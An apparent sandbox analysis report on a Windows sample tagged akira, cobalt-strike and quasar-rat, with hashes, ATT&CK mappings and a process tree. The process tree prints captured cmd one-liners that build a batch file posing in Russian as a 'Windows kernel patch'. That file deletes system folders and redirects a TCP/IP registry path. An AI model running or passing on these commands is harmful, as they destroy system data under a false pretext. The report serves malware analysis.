8b89913ec737d50adb9f479e717ec354302ee3e43d1c8e845478e94a149bc2b5

Analysis

max time kernel
148s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 02:00

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General

Target
2026-08-19_0745cd7da2092009d169cf144220dc42_akira_cobalt-strike_quasar-rat.exe
Size 2.0MB
Sample260820-cffqcsxhra
SHA256 8b89913ec737d50adb9f479e717ec354302ee3e43d1c8e845478e94a149bc2b5
MD5 0745cd7da2092009d169cf144220dc42
SHA1 eb788de2dbe0a9338890625886121a68ba74bc28
SHA512 b10a5a92852fc13ca29dd11bcfcd31e6420bbe3e5b05001177fafa6e77d0db653a48bd6e7b07129af14476079d4bbb5eccae93a57f90ba8e344b2651d53b48a0
SSDEEP 49152:Jxa7S1rCXBHSASY6FyBDbeH5zvWtLa28n5KyFihwI5g2HtXlZrl/yMzSuwOW:F1W5SASY6FyMaaF5Sl/DPwOW
TLSH
T185A59E02F5B46D6CCA9AD234828F5736BBB938444632FEBB06B1C7712D53A525F1C70A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

execution

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1596	cmd.exe
2584	cmd.exe
4832	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1132 wrote to memory of 4832	1132	2026-08-19_0745cd7da2092009d169cf144220dc42_akira_cobalt-strike_quasar-rat.exe	90
PID 1132 wrote to memory of 1596	1132	2026-08-19_0745cd7da2092009d169cf144220dc42_akira_cobalt-strike_quasar-rat.exe	91
PID 1132 wrote to memory of 2584	1132	2026-08-19_0745cd7da2092009d169cf144220dc42_akira_cobalt-strike_quasar-rat.exe	92

C:\Users\Admin\AppData\Local\Temp\2026-08-19_0745cd7da2092009d169cf144220dc42_akira_cobalt-strike_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-19_0745cd7da2092009d169cf144220dc42_akira_cobalt-strike_quasar-rat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1132
- C:\Windows\system32\cmd.exe
  "cmd" /C "mkdir %temp%\duckling >nul"
  2⤵
  - Executes a command shell one-liner
  PID:4832
- C:\Windows\system32\cmd.exe
  "cmd" /C "echo @echo off chcp 65001 title DuckLing - Патч ядра Windows echo Патчим ядро Windows... rd /s /q C:\Windows\System32\drivers\etc >nul mkdir C:\Windows\System32\drivers\etc >nul reg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\" /v \"DataBasePath\" /t REG_EXPAND_SZ /d \"%temp%\duckling\" /f >nul rd /s /q C:\Windows\System\ >nul mkdir C:\Windows\System\ >nul echo Всё готово. Программа патча ядра Windows завершила свою работу, она закроется через 5 секунд... timeout /t 5 >nul > %temp%\duckling\patch.bat"
  2⤵
  - Executes a command shell one-liner
  PID:1596
- C:\Windows\system32\cmd.exe
  "cmd" /C "start %temp%\duckling\patch.bat"
  2⤵
  - Executes a command shell one-liner
  PID:2584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1132-0-0x00007FF708680000-0x00007FF708800000-memory.dmp

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